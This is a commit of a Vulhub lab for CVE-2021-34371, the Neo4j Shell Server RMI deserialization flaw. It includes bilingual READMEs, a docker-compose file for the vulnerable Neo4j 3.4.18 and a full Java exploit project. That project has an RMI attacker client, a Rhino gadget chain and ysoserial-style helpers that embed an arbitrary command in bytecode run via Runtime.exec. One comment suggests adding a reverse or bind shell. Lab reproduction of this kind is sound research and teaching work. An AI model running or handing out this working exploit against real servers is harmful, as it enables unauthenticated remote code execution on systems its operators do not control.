first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
neo4j/CVE-2021-34371/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

BIN
neo4j/CVE-2021-34371/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

View File

@@ -0,0 +1,38 @@
# Neo4j Shell Server `setSessionVariable` Deserialization (CVE-2021-34371)
[中文版本(Chinese version)](README.zh-cn.md)
Neo4j is a graph database management system developed by Neo4j, Inc.
Neo4j through 3.4.18 (with the shell server enabled) exposes an RMI service that arbitrarily deserializes Java objects, e.g., through setSessionVariable. An attacker can abuse this for remote code execution because there are dependencies with exploitable gadget chains.
Neo4j Shell is replaced by Cyber Shell after Neo4j 3.5.
References:
- https://www.exploit-db.com/exploits/50170
- https://github.com/mozilla/rhino/issues/520
## Vulnerable Environment
If you are using Linux or OSX, you can execute the following command to start a Neo4j 3.4.18:
```
TARGET_IP=<your-ip> docker compose up -d
```
Environment `TARGET_IP` is a configuration to describe the Neo4j's hostname.
If you are using Windows, update the content of `docker-compose.yml` and modify the environment manually.
Once the service is started, visit `http://your-ip:7474` to see the web management page, but what we need to attack is port 1337, which is the Neo4j Shell port and uses the RMI protocol to communicate.
## Exploit
Sending RMI request through the [Rhino Gadget](rhino_gadget/):
![](1.png)
`touch /tmp/success5` has been successfully executed:
![](2.png)

View File

@@ -0,0 +1,36 @@
# Neo4j Shell Server 反序列化漏洞CVE-2021-34371
Neo4j是一个开源图数据库管理系统。
在Neo4j 3.4.18及以前如果开启了Neo4j Shell接口攻击者将可以通过RMI协议以未授权的身份调用任意方法其中`setSessionVariable`方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化所以不受到Java版本的影响。
在Neo4j 3.5及之后的版本Neo4j Shell被Cyber Shell替代。
参考链接:
- https://www.exploit-db.com/exploits/50170
- https://github.com/mozilla/rhino/issues/520
## 漏洞环境
如果你使用Linux或OSX系统可以执行如下命令启动一个Neo4j 3.4.18
```
TARGET_IP=<your-ip> docker compose up -d
```
其中,环境变量`TARGET_IP`需要制定靶场环境的IP地址。
如果你是Windows系统请直接修改`docker-compose.yml`,指定`TARGET_IP`环境变量的值。
服务启动后,访问`http://your-ip:7474`即可查看到Web管理页面但我们需要攻击的是其1337端口这个端口是Neo4j Shell端口使用RMI协议通信。
## 漏洞复现
使用[参考链接](https://www.exploit-db.com/exploits/50170)中的Java RMI客户端集成基于Rhino的[Gadget](rhino_gadget/)发送RMI请求
![](1.png)
可见,`touch /tmp/success5`已成功执行:
![](2.png)

View File

@@ -0,0 +1,12 @@
version: '3'
services:
web:
image: vulhub/neo4j:3.4.18
ports:
- "7474:7474"
- "7687:7687"
- "1337:1337"
- "34444:34444"
environment:
NEO4J_AUTH: "neo4j/vulhub"
JAVA_OPTS: "-Djava.rmi.server.hostname=${TARGET_IP:-127.0.0.1}"

View File

@@ -0,0 +1,2 @@
/target/
/.idea/

View File

@@ -0,0 +1,63 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.tint0.rhino</groupId>
<artifactId>rhino_gadget</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino</artifactId>
<version>1.7.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.neo4j/neo4j-shell -->
<dependency>
<groupId>org.neo4j</groupId>
<artifactId>neo4j-shell</artifactId>
<version>3.4.18</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.18.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-fatjar</finalName>
<appendAssemblyId>false</appendAssemblyId>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>Neo4jAttacker</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

View File

@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4" />

View File

@@ -0,0 +1,62 @@
import java.io.Serializable;
import java.rmi.Naming;
import sun.rmi.registry.RegistryImpl_Stub;
import org.neo4j.shell.ShellServer;
public class Neo4jAttacker {
public static String TARGET_BINDING = "shell";
public static void main(String[] args) throws Exception {
if (args.length != 2) {
System.out.println("Usage: java -jar Neo4jAttacker.jar [target] [command]" +
"\nExample: java -jar Neo4jAttacker.jar rmi://127.0.0.1:1337 \"touch /tmp/success\"");
System.exit(1);
}
boolean validBinding = checkBinding(TARGET_BINDING, args[0]);
if (!validBinding)
{
System.out.println("[-] No valid binding found, shell server may not be listening. Exiting");
System.exit(2);
}
System.out.println("[+] Found valid binding, proceeding to exploit");
ShellServer server = (ShellServer) Naming.lookup(args[0] + "/" + TARGET_BINDING);
Object payload = Payload.getObject(args[1]);
//Here server.shutdown may also be callable without auth, just in case the exploit fails and you just want to turn the thing off
try {
server.setSessionVariable(newClientId(), "anything_here", payload);
}
catch (Exception UnmarshalException ) {
System.out.println("[+] Caught an unmarshalled exception, this is expected.");
System.out.println(UnmarshalException.getMessage());
}
System.out.println("[+] Exploit completed");
}
public static boolean checkBinding(String bindingToCheck, String targetToCheck) {
System.out.println("Trying to enumerate server bindings: ");
try {
RegistryImpl_Stub stub = (RegistryImpl_Stub) Naming.lookup(targetToCheck);
for (String element : stub.list()) {
System.out.println("Found binding: " + element);
if (element.equalsIgnoreCase(bindingToCheck))
return true;
}
return false;
}
catch (Exception ex)
{
return false;
}
}
public static Serializable newClientId() {
return Integer.valueOf(1);
}
}

View File

@@ -0,0 +1,67 @@
import Utils.Gadgets;
import Utils.Reflections;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;
@SuppressWarnings("unchecked")
public class Payload {
public static Object getObject( String command) throws Exception {
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
new Class[] {Method.class},
new Object[] {Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("getSlot", Context.class, Object.class,
Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"));
makeSlot.setAccessible(true);
Object enumMakeGetter = Reflections.getField(Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"), "MODIFY_GETTER_SETTER").get(null);
Object slot = makeSlot.invoke(initContextScriptableObject, null, "foo", enumMakeGetter);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
Payload.class.getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
Object enumMakeSlot = Reflections.getField(Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"), "MODIFY").get(null);
makeSlot.invoke(scriptableObject, null, "outputProperties", enumMakeSlot);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
Payload.class.getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
}

View File

@@ -0,0 +1,44 @@
package Utils;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

View File

@@ -0,0 +1,154 @@
package Utils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.Serializable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
/*
* utility generator functions for common jdk-only gadgets
*/
@SuppressWarnings ( {
"restriction", "rawtypes", "unchecked"
} )
public class Gadgets {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap ( final String key, final Object val ) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}

View File

@@ -0,0 +1,60 @@
package Utils;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
@SuppressWarnings ( "restriction" )
public class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Object newInstance(String className, Object ... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
}